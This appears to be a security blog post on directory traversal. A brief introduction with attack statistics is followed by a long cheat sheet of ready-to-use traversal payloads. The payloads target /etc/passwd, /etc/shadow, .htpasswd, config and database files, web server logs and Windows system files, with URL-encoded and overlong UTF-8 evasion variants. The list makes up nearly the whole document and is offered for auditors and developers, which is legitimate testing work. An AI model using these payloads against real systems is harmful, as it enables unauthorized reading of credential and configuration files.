Are attackers dot-dot-slashing their way into your data?
About
as simple to fix as they are to exploit, directory traversal
vulnerabilities stand as a persistent threat in the application
environment. Yet it is one that many developers and even security teams
are unaware can lead attackers to gain valuable information about how a
system is organized, to get access to sensitive files on the application
server, or even to easily leverage to start other attacks on that
server or the rest of the network.
According to Imperva's most recent "Web Application Attack Report,"
released last month, directory traversal attacks against retail Web
applications made up 31 percent of the attacks compared to the eight
most prevalent types of attacks, and they made up 36 percent of attacks
against all other industries' Web apps. In retail, that number lagged
behind a whopping 53 percent of SQL injection attacks, but in other
verticals it even led SQLi, which only made 27 percent of attacks.
Meanwhile, secure hosting firm FireHost also reported last month in its
Superfecta attack statistics about four major attacks it commonly blocks
-- XSS, directory traversal, cross-site request forgery, and SQL
injection -- directory traversal ranked second behind XSS, making up 23
percent of the 9.8 million attacks blocked from these four major
categories using its IP Reputation Management system.
Here I have attached most important Directory Traversal Attack Cheat Sheet for info-sec auditors and developers.
/master.passwd
etc/passwd
etc/shadow
/etc/passwd
/etc/passwd
../etc/passwd
../etc/passwd
../../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../etc/passwd
../../../../../../../../etc/passwd
../../../../../../../../etc/passwd
../../../../../../../../../etc/passwd
../../../../../../../../../etc/passwd
../../../../../../../../../../etc/passwd
../../../../../../../../../../etc/passwd
../../../../../../../../../../../etc/passwd
../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../../../../../../../../../../../etc/shadow
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../../../../../../etc/passwd&=%3C%3C%3C%3C
../../../administrator/inbox
../../../../../../../dev
———————————————————————————————————————————-
.htpasswd
passwd
passwd.dat
pass.dat
.htpasswd
/.htpasswd
../.htpasswd
.passwd
/.passwd
../.passwd
.pass
../.pass
members/.htpasswd
member/.htpasswd
user/.htpasswd
users/.htpasswd
root/.htpasswd
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db.php
data.php
database.asp
database.js
database.php
dbase.php a
admin/access_log
../users.db.php
users.db.php
———————————————————————————————————————————-
/core/config.php
config.php
config.js
../config.js
config.asp
../config.asp
_config.php
../_config.php
../_config.php
../config.php
config.inc.php
../config.inc.php
/config.asp
../config.asp
/../../../../pswd
/admin/install.php
../install.php
install.php
———————————————————————————————————————————-
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow
..%2F..%2F..%2F%2F..%2F..%2Fetc/passwd
..%2F..%2F..%2F%2F..%2F..%2Fetc/shadow
..%2F..%2F..%2F%2F..%2F..%2F%2Fvar%2Fnamed
..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot.ini
/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
———————————————————————————————————————————-
/..\..\..\..\..\..\winnt\win.ini
../../windows/win.ini
..//..//..//..//..//boot.ini
..\../..\../boot.ini
..\../..\../..\../..\../boot.ini
\…..\\\…..\\\…..\\\
=3D “/..” . “%2f..
d:\AppServ\MySQL
c:\AppServ\MySQL
c:WINDOWS/system32/
/C:\Program Files\
/D:\Program Files\
/C:/inetpub/ftproot/
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/boot/grub/grub.conf
/proc/interrupts
/proc/cpuinfo
/proc/meminfo
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../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
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/etc/init.d/apache
/etc/init.d/apache2
/etc/httpd/httpd.conf
/etc/apache/apache.conf
/etc/apache/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/httpd.conf
/opt/apache/conf/httpd.conf
/home/apache/httpd.conf
/home/apache/conf/httpd.conf
/etc/apache2/sites-available/default
/etc/apache2/vhosts.d/default_vhost.include
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/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default